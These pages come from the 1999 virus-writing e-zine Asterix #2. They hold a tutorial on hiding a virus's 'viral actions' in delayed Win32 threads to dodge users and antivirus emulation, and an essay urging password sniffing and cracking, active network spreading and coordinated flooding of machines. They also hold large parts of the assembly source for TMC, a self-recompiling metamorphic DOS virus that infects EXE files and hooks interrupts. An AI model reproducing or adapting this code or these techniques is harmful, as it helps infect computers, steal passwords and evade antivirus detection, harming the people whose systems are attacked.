2. SynchronizationAs I said some minutes before, thread synchronization is something really difficult, if not the most difficultthing. It is REALLY important to take a special care on it. Becoz threads can run separatelly andindependently from other threads and u want to control all threads u created, u have to SYNCHRONIZEthem.Remember this:

do not synchronize threads by single variables, rather use kernel synchronization objects!principle of synchronization: sleep the thread until the thread or another kernel object will be signalised,which in the simple words means: until thread will be terminated (it ain't so simple as I said, but in thissample its enough for u).when thread is in sleep state, CPU won't commit CPU time to thread and so it won't slow the computer.when thread is not in sleep state, CPU will commit CPU time.

Thread can suspend itself from commiting CPU time until kernel object will be signalised (in our caseterminated). For that purpose there is one API in Win32 interface called WaitForSingleObject:

Syntax:DWORD WaitForSingleObject (HANDLE hHandle, DWORD dwMilliseconds);

Parameters:a) hHandle: H andle to kernel object.b) dwMilliseconds: Number of milliseconds to wait. If u want to wait until object will be signalised

for unlimited time, pass -1 to this API.Return values:

-1 The function failed, u can get extended error code by calling GetLastError API.0 If object has been signalised.80h Thread waited for signalisation of object and object was signalised coz object has been

abandoned.102h Object hasn't been signalised in time spec. by dwMilliseconds parameter.

3. PracticeOk, I hope u understood everything and if not, u will do so after some examples. The easiest, but the leastefficent idea is:

1. Create new thread and make all viral actions inside it (see CreateThread API)2. Sleep primary thread until primary thread will be finished (see WaitForSingleObject API)

Example:

... ;some action before push offset threadID ;where will be stored thread ID push 0 ;normal thread initialization

Page 98: EZine - Asterix #2

push 12345678h ;parameter for thread *) push offset threadProc ;address of thread function push 0 ;normal stack - 1MB by default push 0 ;default security attributes call CreateThread ;create thread!

push eax ;parameter for CloseHandle **)

push -1 ;wait until thread will be terminated push eax ;handle of thread call WaitForSingleObject ;wait!

call CloseHandle ;close thread handle **)

... ;some action after this

threadID dd ? ;variable needed by CreateThread API

... ;some code

threadProc: ;new thread starts here pushad ;store all registers mov eax, [esp+24h] ;get parameter passed to our thread *) ... ;some code popad ;restore all registers ret ;quit via undocumented way, no need to ;import ExitThread API

By this we will create new thread, wait for its termination and close its handle. Thread will store all registers,get parameter to EAX register, restore all registers (needed by RET) and terminate thread (and code abovewill be able to continue).

Another idea, more efficent is:

1. Create new thread, wait some seconds and make all viral action inside it2. Jump to host without waiting for thread termination

Example:

... ;some action before push offset threadID ;where will be stored thread ID push 0 ;normal thread initialization push 0 ;parameter for thread push offset threadProc ;address of thread function push 0 ;normal stack - 1MB by default push 0 ;default security attributes call CreateThread ;create thread!

push eax ;handle of thread call CloseHandle ;close thread handle

jmp dword ptr [origEntryPoint];jump to original EntryPoint

threadProc: ;thread starts here pushad ;store all registers

push 10000 ;10 000 milliseconds = 10 seconds call Sleep ;wait 10 seconds

... ;some viral actions

popad ;restore all registers ret ;and quit

origEntryPoint dd 402000h ;saved original entrypoint

By this we will create new thread, close its handle and jump to host program. Thread will on the backgroundsuspend itself for 10 seconds (suspend thread from CPU time commiting), make some viral actions andterminate itself. We suspended our thread, becoz it will be less suspicious to user (virus won't slow down thesystem immediatelly).

Page 99: EZine - Asterix #2

All these algorithms r very simple and gives the AVs chance to trace them (everytime only one virus threadruns). It also ain't very good to create many threads where still only one will be alive (such as in myWin32.Leviathan). Much better idea is to run two or more threads "in the same" time, where one threadcannot run without second one (and that second one cannot run without third one and so on...). It makes theanalysis much harder, if not impossible. The main idea is: let all threads be running and let operating systemsynchronize them (do not synchronize them manually, becoz AV will be able to emulate it - they aren't ableto do that now, but I think they will do so after some months).

Here is an algorithm:

1. Create two threads, primary thread will pass execution to host program2. Let first thread make 50% of some action and second thread to make next 50% of action without

synchronization3. After everything is complete (when first thread will terminate itself, it will set flag. After two flags will be

set ...), then create another two threads, where another halfs of actions will be done and terminateprevious two threads.

4. Recursively do all of this until all viral actions will be done.

This won't be so easy to trace (also not for u :D)... this is my idea of future working of viruses. I never codedvirus using this algorithm, but I will do that. Now, it's only an idea...

Using Ring-X threads under Ring-0Now u should know all important things about threads. All previous examples can work under all Win32platformz - it's the most compatible way.

I also wrote article about Ring-0 and Ring-3 threads under Ring-0, which will be published in 29A#4. Fromthat time I didn't find anything new, so I haven't anything new to show ya here. I think it wouldn't be good tocopy whole article here, becoz that article would be shit then. Please, wait for 29A#4 releasion and u will findthere also that article. Thank you.

Advantages of threads created from Ring-0:

1. Anti-Debug2. Anti-Heuristic3. Residency4. And much more...

Closin'I hope, that u enjoyed threads and that u will implement them in your next virus. If u didn't understandanything, then contact me at [email protected] and I will help ya.Last greetingz goes to *-zine stuff, especially to Flush, Mgl and Navrhar for letting me publish this article.Good luck in coding guys!

Benny / 29A, 1999

Page 100: EZine - Asterix #2

I agreed with Navrhar to write some real hard-core sci-fi about future of viruses that can be. I bring you someideas that can be really good, if you can write 'em. I have no time left for it, Navrhar has no morale anymorefor it. But all of them we solved already some time ago, but you should think about them for your own andyou can be really smashing. Thats the reason I decided to write something about it: everyone is coding yet-another-poly-windows-pe-outlook-worm. Aren't you bored of it? All the time replicating some already presentideas? Don't you want to develop something really new. Here we have some ideas that are userfull andrealiseable. Do it on your own...

Active internet/networking supportDid you ever thing why the worms are so successful? Because users are now more sending a emails oruses internet instead of copying exe files to floppies for someone else. But current worms are really stupid.They just send themself to someone else (all of todays mail worms) and hopes there is some stupid user thatwill run it. Isn't it crazy? It something like writing in email: "send me to someone else, i'm a virus and i want tobe spread". Stupid, isn't it? Do you really need a stupid users? You can do many things by your own. But youhave to know how, of course. For this reason I recomend you to study a networking a bit, some easier protocols like http, ftp, smtp, telnet.Under windows you can do anything, you can filter 'em just like a real sniffer to get some passwords, you canalso install a sniffer and filter all the traffic on your network. If you have some jokers in your hands you canstart spreading oneself actively (not a passive as everyone does it now). You can install yourself on remoteservers, you can map someone else's disks and infect them, you can infect pages on web-server by yourown, you can take your future in your hands? So why you don't?

Self-optimizing performace Viruses are usualy stupid - they do the same things all the time. They, for example, infects like crazy, or willnot notice that user is searching for them. But you can monitor all this, you can learn all this. How? Well, i'veseen using neural network for nothing - just to be there - but it you are wise, you can use them for real, notwasting a space like someone else: you can learn how user acts on his computer, and you can notice then ifhe has some suspection, or what is he doing! Because your virus can self-optimize himself to do that. But not only neural nets are good for it - did you think about genetic model? Yeah, virus navrhar is ready forit, but do not performs it. Pitty. But you can create modular structure (each of them coresponded to onegene, for example) and ty supply a lot of other genes and let them optimize its own performace by Darwin'sevolution in the wild. It can best show you how the virus should be coded to be good - because only goodones will surrive (you your code will be bug-free, of course). Be inventive - era of old viruses is in the past, to be best, you have to be dynamic, adaptive, protable, andwise.

Reentrable filetargets

Page 101: EZine - Asterix #2

It is easy to implement and is very effective - try to write all your infection routines reentrantely, so you cancombine them any way: have you ever heard about exe file beeing infected, that was inserted as anattachment into word document (ole2 structure filesystem), that was compressed using zip, send over email,ascii armored with base64 encoding? It is simple, and very effective. Today it is still harder to find somesuitable infection target, but it is so easy - if you can combine your access functions, you can call themwhatever way you want, and you can easily do the important things. All is needed not to have a localvariables fixed, but a dynamic. Go ahead...

Password hijacking It is very old technique, still used by hackers and still efective. You can usualy access password files. Butthey are one-way encrypted, and if you want to use some other accounts - for active inet support on someunix servers, for example, you need to know the passwords. So you can hack them. It can be done also forWinNT password file. Because passwords are one-way encrypted, and for verifying only a encrypted formsare compared, all you need is to test all the words you can imagine to encrypt it and to try if it matches. Then- goal, and you can do what you want as you know a password. But it tooks a lot of time. Well, if you are onsome users machine, you are there for weeks or even months. You can use the time when user is not usingcpu (which is usualy quite often) and test them like a hell. Also, you can use some password files. It is not possible to take some with you, as they ar usualy somemegs long, but you can download them from the internet (easily using http protocol), or you can use somepages downloaded from internet and test all the words there - because users usualy sets a passwordssimmilar to what they like. And they also browses pages what they like as well. So the password can be alsoon them like a regular word...

Multiplatform Last thing I want to mention is a multi-platform support. It is not yet fully supported at all. Navrhar virus andAnarchy does it in some way but not completely. Because there are many operating subsystems (call it thisway) that gaves you opportunity to surrive. You can use them all to surf from onw target to another. Forexample, it is good to be an exe-virus, as you can do many things, but documents are mostly copied, insteadof exe files. So you need a ole2 support to transfer itself elsewhere. But not only this. You can switchyourself to vbscript, to spread itself through html. And I can continue listing these features for some time aswell, but you can guess some by your own, don't you?

Community born to communicate Everyone thinks about virus like a single entity. But it isn't, in nowadays world when all is connected to beable to communicate, so why viruses don't? Why not to use active copies of viruses to communicate throughinternet to exchange userful infromations, genes, for example, or distrubute updates. If you can do this - it isno more single virus but a whole community that can do wonderfull things: for example couple of entitiesknows each other. If one of them dies, others will know about it - and they can brute-attack target machine toinfect it, to flood it and to crash it (easy with win ;) A new horizonts are waiting, so don't be affraid and go straight ahead!

Flush

Page 102: EZine - Asterix #2

Hello hello guys! I got an oportunity to show you some older my program known as TMC. It means TinyMutation Compiler - because it is a mutation compiler. My virii is not a hard-coded in fact but it is recompiledfor each run by a compiler from a pseudo-code given. So every time it might looks different. And it looksdifferent. The idea is very simple: there is no need to code large and av-proof decryptors just to permutateyour own body. That what TMC does.But you can't change your body anyway you want. You need some rules, here in my sources, all virusinstructions are enclosed in macro brackets whose generates a pseudo-code. It contains normal opcodesand some neccessary flags, instruction length and other info needed for linking (see my macros - theyexplain it all).For first generation a "starter" (first generation compiler) must be used, that is included too. In others, there isonly a compiler core in file which is also permutated and encrypted pseudocode. To run virus, it must becompiled at first. Also used compiler is also written in pseudocode so it can be replicated too.

Compilation (btw: it is more like a linking than a compilation) is easy: instructions are placed whereever incompiled buffer, connected with jumps and conditional jumps (they are followed with 3xNOP for worst caseof linking, as you know from one-pass compilation same as is here). If given chunk is a data or label, it isremembered in linker as a label. If it is a instruction that refers it (jump or memory access), a correct addressis placed from linkere there. So instruction flow can be breaked at any point and memory-access addresses,jump address will differ a lot. And this is body permutation, as you can see: no scanstring can be choosed,because there is always risk of breaking instructions within scanstring, and any jumps may be placed there.And heuristic can't wait until it is whole compiled. Thats it. Enjoy my sources and be happy.

ender

Download source code of TMC:Level_6x9 here

Page 103: EZine - Asterix #2

STARTER.ASM

jumpscode segment para public use16 'CODE'

assume cs : code , ds : codeorg 100h

JMPS EQU 0FFFFh ;pravdepodobnost na rozdelenie kodu

include macros.inc

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄ; ÚÙÚÙ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄstart :

mov ds : out_block_ofs , offset out_block_tablemov ds : data_relo_ofs , offset data_relo_tablemov ds : jmp_relo_ofs , offset jmp_relo_table

mov si , offset src_startupmov bx , offset freecall compilemov si , offset src_vircall compilecall linkmov word ptr cs :[ free + 2], offset freejmp free

;³ ³;;³ ANALYZER ³;;³ ³;

;³ Input: SI - source;³ BX - output;³ Output: BX - end of code

compile :cldmov di , offset in_block_tablexor ax , ax

next_in_block :add si , axlodsbor al , aljz end_in_blockcmp al , M_CODEjae code_cmdcmp al , MAX_CODE_SIZEjbe next_in_blocksub al , MAX_CODE_SIZEjmp next_in_block

code_cmd :cmp al , M_STOPjnz no_stopmov al , 0jmp next_in_block

no_stop :cmp al , M_BLOCKjnz no_blockmov ax , si

Page 104: EZine - Asterix #2

STARTER.ASM

dec axstoswmov ax , 0FFFFhstoswmov ax , 2jmp next_in_block

no_block : ;M_RELO & M_J*mov al , 2jmp next_in_block

end_in_block :lea ax , [ di + (-( offset in_block_table ))]shr ax , 1shr ax , 1mov cs : num_of_blocks , axxor ax , axstosw

;³ ³;;³ COMPILER ³;;³ ³;

mov di , offset in_block_tablemov si , [ di ]jmp first_no_find

next_block :mov bp, cs : num_of_blockscall rnd_maxshl ax , 1shl ax , 1add ax , offset in_block_tablemov di , ax

next_search_block :add di , 4mov si , [ di ]or si , sijnz no_last_blockmov di , offset in_block_tablemov si , [ di ]

no_last_block :cmp byte ptr ds :[ si ], M_STOPjnz no_stopedcmp di , axjnz next_search_blockjmp no_next_block

no_stoped :first_no_find :

cmp word ptr ds :[ di +2], 0FFFFhjz no_jmp_constr

push dimov di , [ di +2]mov al , 0e9hstosbmov ax , bxdec axdec ax

Page 105: EZine - Asterix #2

STARTER.ASM

sub ax , distoswpop di

no_jmp_constr :next_inst :

lodsbcmp al , M_STOPjz no_next_inst

cmp al , MAX_CODE_SIZEja no_break

push axmov bp, JMPScall rnd_maxor ax , axpop axjz no_last_but_end

no_break :cmp al , M_STOPjz no_next_instcmp al , M_CODEjae code_cmd1cmp al , MAX_CODE_SIZEjbe no_sub_size_datasub al , MAX_CODE_SIZE

no_sub_size_data :xor cx , cxmov cl , alpush dimov di , bxrep movsbmov bx , dipop dijmp next_inst

code_cmd1 :cmp al , M_RELOjnz no_relo1

push dimov di , data_relo_ofsmov ax , bxdec axdec axstoswlodswstoswmov data_relo_ofs , dipop dijmp next_inst

no_relo1 :cmp al , M_BLOCKjnz no_block1

push dimov di , out_block_ofsmov ax , bx

Page 106: EZine - Asterix #2

STARTER.ASM

stoswlodswstoswmov out_block_ofs , dicmp ax , src_srcjnz no_put_src

push simov di , bxmov si , offset srcmov cx , offset src_end - offset srcrep movsbmov bx , dipop si

no_put_src :pop dilodsbjmp no_break

no_block1 : ;M_J*push ax dimov di , jmp_relo_ofsmov ax , bxstoswlodswstoswmov jmp_relo_ofs , dipop di axmov [ bx ], aladd bx , 3cmp al , M_J_CONDjb next_instinc bxinc bxjmp next_inst

no_last_but_end :mov [ di +2], bxadd bx , 3

no_next_inst :dec simov [ di ], sijmp next_block

no_next_block :ret

;³ ³;;³ JUMP RELOCATOR ³;;³ ³;

link :mov si , offset jmp_relo_tablemov cx , jmp_relo_ofssub cx , sishr cx , 1shr cx , 1

next_jmp_relo :lodsw

Page 107: EZine - Asterix #2

STARTER.ASM

push axlodswpush cx si

mov si , offset out_block_tablemov cx , out_block_ofssub cx , sishr cx , 1shr cx , 1

next_jmp_in_out :cmp ax , [ si + 2]jz jmp_foundadd si , 4loop next_jmp_in_out

int 3mov bp, 0DEEDh

push cspop dsmov dx , offset jump_not_foundmov ah, 9int 21hmov ah, 4chint 21h

jmp_found :mov dx , [ si ]pop si cxpop bxmov al , [ bx ]cmp al , M_J_CONDjb jmp1

sub byte ptr [ bx ], 0F0h - 070hinc bxpush dxsub dx , bxdec dxcmp dx , 127jg over_jmpcmp dx , - 128jl over_jmpmov [ bx ], dlinc bxmov word ptr [ bx ], 09090hmov byte ptr [ bx +2], 090hpop dxjmp next_j_relo

over_jmp :pop dxdec bxxor byte ptr [ bx ], 1inc bxmov byte ptr [ bx ], 3inc bxmov al , 0E9h

jmp1 :mov byte ptr [ bx ], al

Page 108: EZine - Asterix #2

STARTER.ASM

inc bxsub dx , bxdec dxdec dxmov [ bx ], dx

next_j_relo :loop next_jmp_relo

;³ ³;;³ DATA RELOCATOR ³;;³ ³;

mov si , offset data_relo_tablemov cx , data_relo_ofssub cx , sishr cx , 1shr cx , 1

next_data_relo :lodswpush axlodswpush cx si

mov si , offset out_block_tablemov cx , out_block_ofssub cx , sishr cx , 1shr cx , 1

next_data_in_out :cmp ax , [ si + 2]jz foundadd si , 4loop next_data_in_out

int 3mov bp, 0DEADh

push cspop dsmov dx , offset data_not_foundmov ah, 9int 21hmov ah, 4chint 21h

found :mov ax , [ si ]pop si cxpop bxsub ax , offset freemov [ bx ], axloop next_data_relo

ret

rnd :push cxin al , 40h

Page 109: EZine - Asterix #2

STARTER.ASM

mov ah, almov cl , alin al , 40hror ax , clxor ax , cs : last_rndmov cs : last_rnd , axpop cxret

last_rnd dw 0DEADh

rnd_max :or bp, bpjz rnd_max_0push dxcall rnd

; mov ax, 1xor dx , dxdiv bpxchg ax , dxpop dxret

rnd_max_0 :xor ax , axret

num_of_blocks dw 0out_block_ofs dw 0data_relo_ofs dw 0jmp_relo_ofs dw 0

data_not_found db 'Error in link data' , 13, 10, '$'jump_not_found db 'Error in link jump' , 13, 10, '$'

include src\main.inc

in_block_table :dd 100h dup (?)

out_block_table :dd 100h dup (?)

data_relo_table :dd 100h dup (?)

jmp_relo_table :dd 100h dup (?)

free :

code endsend start

Page 110: EZine - Asterix #2

COMPILER.INC

; DEBUG_SIZES = 1

@last_rnd EQU 2@out_block_ofs EQU 4@jump_relo_ofs EQU 6@data_relo_ofs EQU 8@num_of_blocks EQU 0ahin_mem_ofs EQU 0chnew_vir_size EQU 0eh

@in_block_table EQU 0010h@out_block_table EQU @ in_block_table + 104h + 4@jump_relo_table EQU @ out_block_table + 1B0h@data_relo_table EQU @ jump_relo_table + 2e0h@free EQU @ data_relo_table + 188h

; ³ ³ ;; ³ ANALYZER ³ ;; ³ ³ ;

I < mov word ptr es :[ in_mem_ofs ], 0 >

I < mov word ptr es :[ @out_block_ofs ], @out_block_table >I < mov word ptr es :[ @jump_relo_ofs ], @jump_relo_table >I < mov word ptr es :[ @data_relo_ofs ], @data_relo_table >

I < lea si , [ bp + 1234h ] >RELO src_srcI < push si >I < mov bx, @free >

JUMP @ compile

BLOCK @ compileI < mov di , @in_block_table >I < xor ax , ax >

JUMP @ next_in_block

BLOCK @ next_in_blockI < add si , ax >

CALLL read_byteI < or al , al >

_JZ @ end_in_blockI < cmp al , M_CODE >

_JAE @ code_cmdI < cmp al , MAX_CODE_SIZE >

_JBE @ next_in_blockI < sub al , MAX_CODE_SIZE >

JUMP @ next_in_block

BLOCK @ code_cmdI < cmp al , M_STOP >

_JNZ @ no_stopI < mov al , 0 >

JUMP @ next_in_block

BLOCK @ no_stopI < cmp al , M_BLOCK >

_JNZ @ no_blockI < mov ax, si >I < dec ax >I < stosw >I < mov ax, 0FFFFh >

Page 111: EZine - Asterix #2

COMPILER.INC

I < stosw >I < mov ax, 2 >

JUMP @ next_in_block

BLOCK @ no_block ; M_RELO& M_J*I < mov al , 2 >

JUMP @ next_in_block

BLOCK @ end_in_blockI < lea ax , [ di + (-( @in_block_table ))] >ifdef DEBUG_SIZESI < int 3 >endifI < shr ax , 1 >I < shr ax , 1 >I < mov es:[ @num_of_blocks ], ax >I < xor ax , ax >I < stosw >

; ³ ³ ;; ³ COMPILER ³ ;; ³ ³ ;

I < mov di , @in_block_table >I < mov si , es :[ di ] >

JUMP @ no_stoped

BLOCK @ next_blockI < push bp >I < mov bp, es :[ @num_of_blocks ] >

CALLL @ rnd_maxI < pop bp >I < shl ax , 1 >I < shl ax , 1 >I < add ax , @in_block_table >I < mov di , ax >

JUMP @ next_search_block

BLOCK @ next_search_blockI < add di , 4 >I < mov si , es :[ di ] >I < or si , si >

_JNZ @ no_last_blockI < mov di , @in_block_table >I < mov si , es :[ di ] >

JUMP @ no_last_block

BLOCK @ no_last_blockI < push ax >

CALLL read_byteI < dec si >I < cmp al , M_STOP >I < pop ax >

_JNZ @ no_stopedI < cmp di , ax >

_JNZ @ next_search_blockJUMP @ no_next_block

BLOCK @ no_stopedI < mov ax, es :[ di +2] >I < cmp ax, 0FFFFh >

_JZ @ next_inst

Page 112: EZine - Asterix #2

COMPILER.INC

I < push di >I < mov di , ax >I < mov al , 0e9h >I < stosb >I < mov ax, bx >I < dec ax >I < dec ax >I < sub ax , di >I < stosw >I < pop di >

JUMP @ next_inst

BLOCK @ next_instCALLL read_byte

I < cmp al , M_STOP >_JZ @ no_next_inst

I < cmp al , MAX_CODE_SIZE >_JA @ no_break

I < push ax >I < push bp >I < mov bp, [ bp + 1234h ] >RELO @ JMPS

CALLL @ rnd_maxI < or ax , ax >I < pop bp >I < pop ax >

_JZ @ no_last_but_endJUMP @ no_break

BLOCK @ no_breakI < cmp al , M_STOP >

_JZ @ no_next_instI < cmp al , M_CODE >

_JAE @ code_cmd1I < cmp al , MAX_CODE_SIZE >

_JBE @ no_sub_size_dataI < sub al , MAX_CODE_SIZE >

JUMP @ no_sub_size_data

BLOCK @ no_sub_size_dataI < xor cx , cx >I < mov cl , al >I < push di >I < mov di , bx >

JUMP @ copy_next_byte

BLOCK @ copy_next_byteCALLL read_byte

I < stosb >I < dec cx >

_JNZ @ copy_next_byteI < mov bx, di >I < pop di >

JUMP @ next_inst

BLOCK @ code_cmd1I < cmp al , M_RELO >

_JNZ @ no_relo1

Page 113: EZine - Asterix #2

COMPILER.INC

I < push di >I < mov di , es :[ @data_relo_ofs ] >I < mov ax, bx >I < dec ax >I < dec ax >I < stosw >

CALLL read_wordI < stosw >I < mov es:[ @data_relo_ofs ], di >I < pop di >

JUMP @ next_inst

BLOCK @ no_relo1I < cmp al , M_BLOCK >

_JNZ @ no_block1

I < push di >I < mov di , es :[ @out_block_ofs ] >I < mov ax, bx >I < stosw >

CALLL read_wordI < stosw >I < mov es:[ @out_block_ofs ], di >I < cmp ax, src_src >

_JNZ @ no_put_src

I < push si >I < mov di , bx >I < lea si , [ bp + 1234h ] >RELO src_srcI < mov cx, offset src_end - offset src >I < rep movsb >I < mov bx, di >I < pop si >

JUMP @ no_special

BLOCK @ no_put_srcI < cmp ax, text_text >

_JNZ @ no_put_text

I < mov ax, NO_TEXT >I < cmp word ptr [ bp + 1234h ], ax >RELO @ JMPS

_JAE @ no_specialCALLL read_byte

I < sub al , MAX_CODE_SIZE >I < mov ah, 0 >I < add si , ax >

JUMP @ no_special

BLOCK @ no_put_textI < cmp ax, @JMPS >

_JNZ @ no_specialI < mov ax, [ bp + 1234h ] >RELO @ JMPSI < dec ax >I < cmp ax, MIN_JMPS >

_JAE jmps_no_overI < mov ax, MAX_JMPS >

JUMP jmps_no_over

BLOCK jmps_no_over

Page 114: EZine - Asterix #2

COMPILER.INC

I < mov es:[ bx ], ax >I < add bx , 2 >I < add si , 3 >

JUMP @ no_special

BLOCK @ no_specialI < pop di >

CALLL read_byteJUMP @ no_break

BLOCK @ no_block1 ; M_J*I < push ax >I < push di >I < mov di , es :[ @jump_relo_ofs ] >I < mov ax, bx >I < stosw >

CALLL read_wordI < stosw >I < mov es:[ @jump_relo_ofs ], di >I < pop di >I < pop ax >I < mov es:[ bx ], al >I < add bx , 3 >I < cmp al , M_J_COND >

_JB @ next_instI < inc bx >I < inc bx >

JUMP @ next_inst

BLOCK @ no_last_but_endI < mov es:[ di +2], bx >I < add bx , 3 >

JUMP @ no_next_inst

BLOCK @ no_next_instI < dec si >I < mov es:[ di ], si >

JUMP @ next_block

BLOCK @ no_next_blockI < cmp word ptr es :[ in_mem_ofs ], 0 >

_JNZ @ linkI < pop si >I < mov es:[ in_mem_ofs ], bx >I < add si , offset src_vir - offset src_startup >

JUMP @ compile

; ³ ³ ;; ³ JUMP RELOCATOR ³ ;; ³ ³ ;

BLOCK @ linkI < push es >I < pop ds >I < sub bx , @free >I < mov ds:[ new_vir_size ], bx >

I < mov si , @jump_relo_table >I < mov cx, ds :[ @jump_relo_ofs ] >I < sub cx , si >ifdef DEBUG_SIZES ; check out_block in es :[ 4]I < int 3 >

Page 115: EZine - Asterix #2

COMPILER.INC

endifI < shr cx , 1 >I < shr cx , 1 >

JUMP @ next_jump_relo

BLOCK @ next_jump_reloI < lodsw >I < push ax >I < lodsw >I < push cx >I < push si >

I < mov si , @out_block_table >I < mov cx, ds :[ @out_block_ofs ] >I < sub cx , si >I < shr cx , 1 >I < shr cx , 1 >

JUMP @ next_jmp_in_out

BLOCK @ next_jmp_in_outI < cmp ax, [ si + 2] >

_JZ @ jmp_foundI < add si , 4 >I < dec cx >

_JNZ @ next_jmp_in_out

ifdef DEBUGI < mov bp, 0DEEDh >I < int 3 >endif

BLOCK @ jmp_foundI < mov dx, [ si ] >I < pop si >I < pop cx >I < pop bx >I < mov al , [ bx ] >I < cmp al , M_J_COND >

_JB @ jmp1

I < sub byte ptr [ bx ], 0F0h - 070h >I < inc bx >I < push dx >I < sub dx , bx >I < dec dx >I < cmp dx, 127 >

_JG @ over_jmpI < cmp dx, - 128 >

_JL @ over_jmpI < mov [ bx ], dl >I < inc bx >I < mov word ptr [ bx ], 09090h >I < mov byte ptr [ bx +2], 090h >I < pop dx >

JUMP @ next_j_relo

BLOCK @ over_jmpI < pop dx >I < dec bx >I < xor byte ptr [ bx ], 1 >I < inc bx >I < mov byte ptr [ bx ], 3 >

Page 116: EZine - Asterix #2

COMPILER.INC

I < inc bx >I < mov al , 0E9h >

JUMP @ jmp1

BLOCK @ jmp1I < mov byte ptr [ bx ], al >I < inc bx >I < sub dx , bx >I < dec dx >I < dec dx >I < mov [ bx ], dx >

JUMP @ next_j_relo

BLOCK @ next_j_reloI < dec cx >

_JNZ @ next_jump_relo

; ³ ³ ;; ³ DATA RELOCATOR ³ ;; ³ ³ ;

I < mov si , @data_relo_table >I < mov cx, ds :[ @data_relo_ofs ] >I < sub cx , si >ifdef DEBUG_SIZESI < int 3 >endifI < shr cx , 1 >I < shr cx , 1 >

JUMP @ next_data_relo

BLOCK @ next_data_reloI < lodsw >I < push ax >I < lodsw >I < push cx >I < push si >

I < mov si , @out_block_table >I < mov cx, ds :[ @out_block_ofs ] >I < sub cx , si >I < shr cx , 1 >I < shr cx , 1 >

JUMP @ next_data_in_out

BLOCK @ next_data_in_outI < cmp ax, [ si + 2] >

_JZ @ foundI < add si , 4 >I < dec cx >

_JNZ @ next_data_in_out

ifdef DEBUGI < mov bp, 0DEADh >I < int 3 >endif

BLOCK @ foundI < mov ax, [ si ] >I < pop si >I < pop cx >I < pop bx >

Page 117: EZine - Asterix #2

COMPILER.INC

I < sub ax , @free >I < mov [ bx ], ax >I < dec cx >

_JNZ @ next_data_reloJUMP end_of_compile

Page 118: EZine - Asterix #2

MAIN.INC

; DEBUG= 1

START_JMPS EQU 50NO_TEXT EQU 20BAD_CLEAN EQU 20MIN_JMPS EQU 5MAX_JMPS EQU 100

mem4compile EQU ( 8000d + @free ) / 10h; ^^^^ maximalny najvecsi vystupny kod

@next_in_block EQU 3000@code_cmd EQU 3001@no_stop EQU 3002@no_block EQU 3003@end_in_block EQU 3004@next_block EQU 3005@next_search_block EQU 3006@no_last_block EQU 3007@no_stoped EQU 3008@next_inst EQU 3009@no_break EQU 3010@no_sub_size_data EQU 3011@code_cmd1 EQU 3012@no_relo1 EQU 3013@no_put_src EQU 3014@no_block1 EQU 3015@no_last_but_end EQU 3016@no_next_inst EQU 3017@no_next_block EQU 3018@next_jump_relo EQU 3019@next_jmp_in_out EQU 3020@jmp_found EQU 3021@over_jmp EQU 3022@jmp1 EQU 3023@next_j_relo EQU 3024@next_data_relo EQU 3025@next_data_in_out EQU 3026@found EQU 3027@rnd EQU 3028@rnd_max EQU 3029@rnd_max_0 EQU 3030@copy_next_byte EQU 3050@no_special EQU 3051@JMPS EQU 3052@no_put_text EQU 3053

exit EQU 3054save_ds EQU 3055vir_size EQU 3056ofs_in_mem EQU 3057

int24 EQU 6000no_inf_int24 EQU 6001end_of_compile EQU 6002_old_ip EQU 6003clean_ofajc EQU 6004_old_inst EQU 6006

jmps_no_over EQU 3061

crypt_data EQU 3070

Page 119: EZine - Asterix #2

MAIN.INC

crypt_next_byte EQU 3071

text_text EQU 9000

xor_const EQU 3031xor_add EQU 3032save_ah EQU 3033

read_byte EQU 3040read_word EQU 3041

filetype EQU 5000old_cs EQU 5001old_ss EQU 5002old_ip EQU 5003old_sp EQU 5004exe_infect EQU 5005set_marker EQU 5006exe_header EQU 5007install EQU 5008old_entry EQU 5009infect EQU 5010

min_mem EQU 5011max_mem EQU 5012old_max_mem EQU 5013write_exeh EQU 5014str_start EQU 5015prepare_str EQU 5016max_mem_FFFF EQU 5017infect_floppy EQU 5018no_drive_pressed EQU 5019infect_close EQU 5020handle EQU 5021path EQU 5022psp EQU 5023push_all EQU 5024pop_all EQU 5025int24_seg EQU 5026int24_ofs EQU 5027init_int24 EQU 5028deinit_int24 EQU 5029call_int21 EQU 5030infect_in_close EQU 5032infect_and_call_int21 EQU 5033exit_adr EQU 5034check4handle EQU 5035new_psp EQU 5036ticks EQU 5037no_short_exe EQU 5038no_com_ojeb EQU 5039

@compile EQU 4000@link EQU 4001

src_src EQU 1221int21 EQU 0200old21 EQU 0201

file_ok EQU 0240close EQU 0250no_inf EQU 0251

Page 120: EZine - Asterix #2

MAIN.INC

time EQU 0300date EQU 0301

old_prog EQU 0101

_start EQU 0000in_mem EQU 0102

old_inst EQU 8000

;============================ CODE======================================src :src_startup :BLOCK _start

; lea bp , [ 1234h ]I < dw 02e8dh , 1234h >I < cld >

I < mov ax, ds >I < mov word ptr [ bp+1234h ], ax >RELO save_dsI < dec ax >I < mov ds, ax >I < mov ax, word ptr ds :[ 3] >I < cmp ax, 1900h >

_JB exitI < push cs >I < pop ds >I < mov word ptr [ bp+1234h ], ax >RELO max_mem

I < mov bx, word ptr [ bp+1234h ] >RELO min_memI < mov ah, 4ah >I < int 21h >

_JC exit

I < mov ah, 48h >I < mov bx, word ptr [ bp+1234h ] >RELO max_memI < sub bx , word ptr [ bp+1234h ] >RELO min_memI < dec bx >I < cmp bx, mem4compile >

_JB exitI < int 21h >

_JC exitI < mov es, ax >I < add word ptr es :[ @last_rnd ], 06942h >

include src \ compiler.inc

BLOCK end_of_compileI < mov ax, [ bp+1234h ] >RELO save_dsI < mov cx, [ bp+1234h ] >RELO old_ssI < add cx , 10h >I < add cx , ax >I < push cx >

Page 121: EZine - Asterix #2

MAIN.INC

I < push word ptr [ bp+1234h ] >RELO old_spI < mov cx, [ bp+1234h ] >RELO old_csI < add cx , 10h >I < add cx , ax >I < push cx >I < push word ptr [ bp+1234h ] >RELO old_ipI < push ax >I < push word ptr [ bp + 1234h ] >RELO old_max_memI < push ds >I < mov cl , 0 >I < cmp byte ptr [ bp+1234h ], cl >RELO filetype

_JNZ install

I < lea si , [ bp+1234h ] >RELO old_instI < mov ax, cs :[ si ] >I < mov word ptr cs :[ 100h ], ax >I < mov al , cs :[ si +2] >I < mov byte ptr cs :[ 102h ], al >

JUMP install

